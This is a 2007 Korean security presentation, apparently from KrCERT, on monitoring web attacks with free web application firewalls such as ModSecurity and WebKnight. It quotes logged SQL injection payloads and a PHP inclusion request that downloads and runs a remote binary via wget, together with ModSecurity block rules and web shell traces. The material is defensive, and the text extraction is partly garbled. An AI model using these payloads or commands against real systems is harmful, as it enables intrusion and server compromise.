공개웹방화벽을활한활용한웹격웹공격모니터링 file목차...
TRANSCRIPT
목 차목 차
공개공개 웹웹 방화벽의방화벽의 모니터링모니터링 기능기능
웹해킹웹해킹 유형별유형별 공격패턴공격패턴 및및 탐지사례탐지사례웹해킹웹해킹 유형별유형별 공격패턴공격패턴 및및 탐지사례탐지사례
공개웹방화벽공개웹방화벽 설치설치 후에도후에도 해킹해킹 당했어요당했어요!!공개웹방화벽공개웹방화벽 설치설치 후에도후에도 해킹해킹 당했어요당했어요!!
공개공개 웹웹 방화벽방화벽 보급보급
-2-
공개 웹 방화벽의 모니터링 기능공개 웹 방화벽의 모니터링 기능
웹 서버에 무슨 일이 일어나고 있나?
SQL InjectionWeb Shell
XSS Attack
Web Shell
Malware hiding
Upload Attack ???
Download Attack < 웹방화벽 로그 활용 >Broken Links
ARP SpoofingBroken Links환경설정 오류
외부 공격 위협 인지
-3-
공개 웹 방화벽의 모니터링 기능공개 웹 방화벽의 모니터링 기능
공개웹방화벽의 Detection• Normalization techniques
– URL Encoding 공격 탐지(e.g. %XX)
– 상위 Path, 백슬래쉬 ( /../, ₩) 등 우회공격 탐지
• Negative security modelg y– Signature-based
– 알려진 공격 탐지에 적합알려진 공격 탐지에 적합
• HTTP Error Logging– 5xx(서버 에러) 4xx(클라이언트 에러)5xx(서버 에러), 4xx(클라이언트 에러)
– 깨진 링크, 환경설정 오류 등
-4-
공개 웹 방화벽의 모니터링 기능공개 웹 방화벽의 모니터링 기능
공개웹방화벽 운영단계별 기능 활용
프로그램 다운로드
프로그램 설치3. 운영
(웹해킹 차단)룰 커스트마이징
1. 설치(웹해킹 차단)
KrCERT/CC 샘플룰 적용(로그 Only 모드)
공격 모니터링2. 룰설정
로그 분석
공격 모니터링룰설정
(웹해킹 모니터링)
로그 분석
Block 모드 전환
-5-
룰 커스트마이징
공개 웹 방화벽의 모니터링 기능공개 웹 방화벽의 모니터링 기능
S Fil D f l A i " l “ModSecurity 로깅모드 설정
• SecFilterDefaultAction "pass,log“– 차단하지 않고 로그만 남김
• SecAuditEngine RelevantOnlySecAuditEngine RelevantOnly – 차단 룰에 일치될 경우에만 로그로 남김
• SecAuditLog log/modsec_debug.log– 로그파일의 위치(Apache 홈디렉토리의 상대
경로)
-7-
웹해킹 유형별 공격패턴 및 탐지 사례웹해킹 유형별 공격패턴 및 탐지 사례
아아 D(D(啊啊 D)D) 2.32 : SQL Injection 2.32 : SQL Injection 취약점취약점 탐지탐지 툴툴
05:12:04 ; W3SVC1 ; OnPreprocHeaders ; 192.168.0.1 ; ; GET ; /bbs/product_list.asp ; key_id=free_bbs'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' ; BLOCKED: possible SQL injection in querystring ; HTTP/1.1 ; ASPSESSIONIDASTADCAR=ACFHPPKBGGGGBMKHICDNNIGF05:12:04 ; W3SVC1 ; OnUrlMap ; 192.168.0.1 ; ; /bbs/product_list.asp ; C:₩Inetpub₩dannyshop₩bbs₩product_list.asp ; BLOCKED: Not in allowed path list 'C:₩Inetpub₩dannyshop₩bbs₩product_list.asp' ; key_id=free_bbs'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' ; BLOCKED: possible SQL injection in querystring
취약한 인자값 출력
char(124) 즉 "|"를 많이 사용
1. '%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' ;
2. '%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20'%25'=' ;
3. %20and%20char(124)%2Buser%2Bchar(124)=0 ;
char(124) 즉, | 를 많이 사용
4. %20%61%6E%64%20%31%3D%31
5. '%20and%20char(124)%2Buser%2Bchar(124)=0;declare%20@d%20int;-- ;
6. %20'%20and%20exists%20(select%20*%20from%20sysobjects)%20and%20''=' ;
7. '%20%61%6E%64%20%31%3D%32%20and%20''=' ;
-8-
nvarchar_값_'|dbo|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다.(“80040e07” 오류 발생시 취약)
웹해킹 유형별 공격패턴 및 탐지 사례웹해킹 유형별 공격패턴 및 탐지 사례
NBSI2 : SQL Injection NBSI2 : SQL Injection 공격공격 툴툴
06:00:59 ; W3SVC1 ; OnPreprocHeaders ; 192.168.0.1 ; ; GET ; /main/bc.asp?big_name=기획상품'%20And%20db_name()%2Bchar(124)=0%20And%20''=' ; BLOCKED: URL is not RFC compliant! ; /main/bc.asp ; big_name=기획상품'%20And%20db name()%2Bchar(124)=0%20And%20''=' ; BLOCKED:%20And%20db_name()%2Bchar(124) 0%20And%20 ; BLOCKED: possible SQL injection in querystring ; HTTP/1.1 ; ASPSESSIONIDASTADCAR=LEFHPPKBKOPLFHJKNKCJNLBH06:00:59 ; W3SVC1 ; OnUrlMap ; 192.168.0.1 ; ; /main/bc.asp ; C:₩Inetpub₩dannyshop₩main₩bc.asp ; BLOCKED: Not in allowed path list 'C:₩Inetpub₩dannyshop₩main₩bc.asp' ; big_name=기획상품'%20And%20db_name()%2Bchar(124)=0%20And%20''=' ; BLOCKED: possible SQL injection in querystring
DB 테이블 노출BLOCKED: possible SQL injection in querystring
char(124) 즉 "|"를 많이 사용
1. %20and%20user%2Bchar(124)=0
2 '%20and%20user%2Bchar(124) 0%20and%20'' '
char(124) 즉, | 를 많이 사용IS_SRVROLEMEMBER, system_user, db_name 사용
2. %20and%20user%2Bchar(124)=0%20and%20 =
3. '%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1%20And%20''='
4 '%20And%20db name()%2Bchar(124)=0%20And%20''='
-9-
4. %20And%20db_name()%2Bchar(124) 0%20And%20
5. '%20And%20system_user%2Bchar(124)=0%20And%20''='
웹해킹 유형별 공격패턴 및 탐지 사례웹해킹 유형별 공격패턴 및 탐지 사례
00:52:32 ; W3SVC1 ; O P H d ; 192 168 0 1 ; ; GET ;
HDSI 3.0 : SQL Injection HDSI 3.0 : SQL Injection 공격공격 툴툴00:52:32 ; W3SVC1 ; OnPreprocHeaders ; 192.168.0.1 ; ; GET ; /bbs/product_list.asp?key_id=free_bbs%20and(char(94)%2Buser%2Bchar(94))>0 ; BLOCKED: URL is not RFC compliant! ; /bbs/product_list.asp ; key_id=free_bbs%20and(char(94)%2Buser%2Bchar(94))>0 ; WARNING: SQL keyword found in querystring (1 more will block request) ; HTTP/1.1 ; ASPSESSIONIDSCBBSBBB KOCDOCBBDKMPNJEDILMLOMFBASPSESSIONIDSCBBSBBB=KOCDOCBBDKMPNJEDILMLOMFB00:52:32 ; W3SVC1 ; OnUrlMap ; 192.168.0.1 ; ; /bbs/product_list.asp ; C:₩Inetpub₩dannyshop₩bbs₩product_list.asp ; BLOCKED: Not in allowed path list 'C:₩Inetpub₩dannyshop₩bbs₩product_list.asp' ; key_id=free_bbs%20and(char(94)%2Buser%2Bchar(94))>0 ; WARNING: SQL keyword found in querystring (1 more will block request)
DB 계정 노출
h (94) 즉 “^"를 많이 사용
1. create%20table%20t_jiaozhu(jiaozhu%20varchar(200)) create table t_jiaozhu(jiaozhu varchar(200))
char(94) 즉, “^"를 많이 사용t_jiaozhu 라는 테이블 생성
1. %20and(char(94)%2Buser%2Bchar(94))>0
2. '%20and(char(94)%2Buser%2Bchar(94))>0%20and%20''='
3. create%20table%20t_jiaozhu(jiaozhu%20varchar(200))
4. %20and(char(94)%2Bdb_name()%2Bchar(94))>0
-10-
5. %20%20And%20(char(94)%2Bcast(IS_SRVROLEMEMBER('sysadmin')%20as%20varchar(1))%2Bchar(94))>0%20And%20''='
웹해킹 유형별 공격패턴 및 탐지 사례웹해킹 유형별 공격패턴 및 탐지 사례
PHP Injection 차단공격 성공
victim.com-access_log:xxx.xxx.239.56 - - [30/Aug/2005:06:23:06 +0900] "GET/bbs//include/write.php?dir=http://xx.xxx.br/cse.gif?&cmd=cd%20/tmp;wget%20http://www.xxx.com/0/r0nin;chmod%204777%20r0nin;./r0nin HTTP/1.1" 200 2066
공격 성공
# 파라메터에 URL이 들어 있는 요청을 차단SecFilterSignatureAction "log,deny,msg:'PHP Injection Attacks'"S Filt S l ti ARGS VALUES "^htt :/"
차단 Rule 설정
SecFilterSelective ARGS_VALUES "^http:/"
# 파라메터에 “ls", "id", "pwd", "wget" 등의 키워드가 있을 경우 차단SecFilterSignatureAction "log,deny,msg:'Command execution attack'"SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget)"
# 커맨드 실행 결과를 출력 필터에서 차단# "id" 명령의 출력 결과 차단SecFilterSelective OUTPUT "uid=[[:digit:]]+₩([[:alnum:]]+₩) gid=[[:digit:]]₩([[:alnum:]]+₩)"
# "wget" 명령의 출력 결과 차단# wget 명령의 출력 결과 차단SecFilterSelective OUTPUT "HTTP request sent, awaiting response"
[Mon Mar 06 10:07:25 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied with code공격 차단
-11-
403. Pattern match "^http:/" at ARGS_VALUES("dir") [msg "PHP Injection Attacks"] [hostname"victim_ip"] [uri "/new/bbs/include/write.php?dir=http://www.xxx.com.br/cse.gif?&cmd=id"]
웹해킹 유형별 공격패턴 및 탐지 사례웹해킹 유형별 공격패턴 및 탐지 사례
SQL Injection 차단
차단 Rule 설정## SQL Injection AttacksSecFilterSignatureAction "log,deny,msg:'SQL Injection attack'"
# Generic
차단 Rule 설정
SecFilterSelective ARGS "delete[[:space:]]+from"SecFilterSelective ARGS "drop[[:space:]]+database"SecFilterSelective ARGS "drop[[:space:]]+table"SecFilterSelective ARGS "drop[[:space:]]+column"SecFilterSelective ARGS "drop[[:space:]]+procedure"SecFilterSelective ARGS drop[[:space:]]+procedureSecFilterSelective ARGS "create[[:space:]]+table"SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1"SecFilterSelective ARGS "or 1=1--'"SecFilterSelective ARGS "'.+--"SecFilterSelective ARGS "into[[:space:]]+outfile"SecFilterSelective ARGS "load[[:space:]]+dataSecFilterSelective ARGS "/₩*.+₩*/"
[Mon Mar 06 09:57:11 2006] [error] [client xxx.xxx.222.28] mod_security: Warning. Pattern match"delete[[:space:]]+from" at QUERY_STRING [msg "SQL Injection attack"] [hostname "victim_ip"] [uri"/new/bbs/zboard php?id=bbs&no=24'delete%20from"]
공격 차단
-12-
/new/bbs/zboard.php?id=bbs&no=24 delete%20from ]
공개웹방화벽 설치 후에도 해킹 당했어요!공개웹방화벽 설치 후에도 해킹 당했어요!
ex070709.log:2007-07-09 00:05:30 W3SVC824136 xxx.xx.243.6 GET /Default.asp - 80 -
중국 검색 엔진에 의한 검색
xxx.108.11.106 Baiduspider+(+http://www.baidu.com/search/spider.htm) 200 0 0
ex070709 log:2007-07-09 06:36:27 W3SVC824136 xxx xx 243 6 GET /dong/freeboard/edit asp
WebKnight에 의한 중국 해킹 툴(Ad) 공격 차단
ex070709.log:2007 07 09 06:36:27 W3SVC824136 xxx.xx.243.6 GET /dong/freeboard/edit.aspoptions=default&idx=192&dbase=board'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' 80 - xxx.13.189.158 Internet+Explorer+6.0 999 0 0ex070709.log:2007-07-09 06:36:32 W3SVC824136 xxx.xx.243.6 GET /dong/freeboard/edit.aspoptions=default&idx=192&dbase=board%20and%20char(124)%2Buser%2Bchar(124)=0 80 -options=default&idx=192&dbase=board%20and%20char(124)%2Buser%2Bchar(124)=0 80xxx.13.189.158 Internet+Explorer+6.0 999 0 0
2종의 웹쉘(Ebank.asp, Lbi.asp)을 이용하여 웹페이지에 악성코드 은닉
ex070711.log:2007-07-11 05:54:16 W3SVC824136 xxx.xx.243.6 GET /Dong/back/Ebank.asppageName=FsoFileExplorer&theAct=showEdit&thePath=D%3A%5Cpol%5Cdefault%2Easp 80 -xxx.78.69.214 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1) 200 0 0ex070710.log:2007-07-10 11:30:24 W3SVC824136 xxx.xx.243.6 GET /mungo/Lbi.asppageName=FsoFileExplorer&theAct=showEdit&thePath=D%3A%5Cpol%5Ckr%5Fcommon%2Ejs 80 - xxx.78.75.17 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1) 200 0 0
- xxx.78.69.214(중국)에서 /Dong/back/Ebank.asp를 이용하여 D:₩pol₩default.asp, D:₩pol₩main₩calendar.asp 파일 변조- xxx 78 75 17(중국)에서 /mungo/Lbi asp 웹쉘을 이용하여 D:₩pol₩kr common js 파일 수정
-13-
xxx.78.75.17(중국)에서 /mungo/Lbi.asp 웹쉘을 이용하여 D:₩pol₩kr_common.js 파일 수정
공개웹방화벽 설치 후에도 해킹 당했어요!공개웹방화벽 설치 후에도 해킹 당했어요!
이미 해킹당한 웹서버 조치 절차
• 웹쉘 등 백도어 탐지 및 제거– 웹로그 분석
등 키워드 사용• FsoFileExplorer, theAct, showEdit 등 키워드 사용
• 웹페이지에 은닉된 악성코드 제거• 웹페이지에 은닉된 악성코드 제거– 악성코드은닉사이트 탐지 프로그램(MCFinder) 활용 가능
– 웹로그 분석
– .html, .js, …
공개웹방화벽 설치• 공개웹방화벽 설치
로그 모니터링
-14-
• 로그 모니터링
공개 웹 방화벽 보급공개 웹 방화벽 보급
’07’07년년 공개웹방화벽공개웹방화벽 보급보급 및및 정보수집정보수집
• http://www.krcert.or.kr/firewall2/index.jsp
-15-
공개 웹 방화벽 보급공개 웹 방화벽 보급
’07’07년년 공개웹방화벽공개웹방화벽 보급보급 및및 정보수집정보수집
• 공개웹방화벽 버전별 프로그램
• 공개웹방화벽 로그수집 프로그램
• 공개웹방화벽 공격차단 샘플 룰 제공 (총 8종)
• 웹호스팅용/중소기업용
W bK i h 1 3/2 0 M dS i 1 9 4/2 1 1• WebKnight 1.3/2.0, ModSecurity 1.9.4/2.1.1
• 설치 운영 가이드
설치 운영 동영상 교육 자료• 설치 운영 동영상 교육 자료
• FAQ
• 기술지원 전담 창구• 기술지원 전담 창구
• E-mail : [email protected]
• 전화 : 02-405-5529
-16-
전화 02 405 5529
공개 웹 방화벽 보급공개 웹 방화벽 보급
응용응용 계층계층 공격공격 정보정보 수집수집
WebKnight, ModSecurity 등 공개웹방화벽 로그 수집
수집된 로그를 통한 웹공격 유형 분석수집된 를 통한 웹공격 유형 분석
공격 국가별 통계 관리 및 차단
웹방화벽 로그웹 방화벽로그 수집 Server
IIS, Apache
로그 수집 Agent로그수집 DB
웹서버 로그 수집 시스템
수집 g
-17-
일반 기업 KISA
공개 웹 방화벽 보급공개 웹 방화벽 보급
응용응용 계층계층 공격공격 정보정보 수집수집
로그수집 Agent for WebKnight : 웹어플리케이션(VB)
- Windows InstallWindows Install
- Windows Tray 등록
-18-
공개 웹 방화벽 보급공개 웹 방화벽 보급
응용응용 계층계층 공격공격 정보정보 수집수집
로그수집 Agent for ModSecurity : 데몬 형태(C언어)
- Compile : gcc –o 실행파일 fwget.cp g 실행파일 g
- Run : 실행파일
환경 설정 파일( )- 환경 설정 파일(config.env)
LOGFILE=로그파일명
VERSION=ModSecurity Version
SERVER=로그수집 서버 IPSERVER=로그수집 서버 IP
PORT=로그수집 서버 PORT
-19-
DOMAIN=웹서버 대표 도메인
공개 웹 방화벽 보급공개 웹 방화벽 보급
응용응용 계층계층 공격공격 정보정보 수집수집
로그 수집 서버
- 서버 정보서버 정
IP Address : xxx.xxx.165.230
8800Port : 8800
- 수집 정보
웹방화벽 LOG웹방화벽 LOG
등록된 웹서버 대표 도메인
-20-
공개 웹 방화벽 보급공개 웹 방화벽 보급
목적
공개웹방화벽공개웹방화벽 현장현장 기술지원반기술지원반 운영운영 계획계획((안안))• 목적
– 공개웹방화벽 보급 확대 및 응용계층 공격정보 수집
• 현장 기술지원반
– 기존에 원격([email protected], 02-405-5529) 제공
– 현장 방문을 통한 보다 적극적인 기술지원
• 현장 기술지원 대상현장 기술지원 대상
– 다수 웹서버 운영기관(호스팅업체, 대학 등)
– 공개웹방화벽 로그 제공 기관
• 현장 기술지원반 운영 기간현장 기술지원반 운영 기간
– 2007. 11. 19(월) ~ 12. 14(금)
• 현장 기술지원 요청 절차
기술지원 요청(web fw@kisa or kr 또는 설문지)– 기술지원 요청([email protected] 또는 설문지)
• 설치 대수, 로그제공 여부, 희망 일자, 지역 등 명기
– 기술지원 일자 확정 및 현장 방문
-21-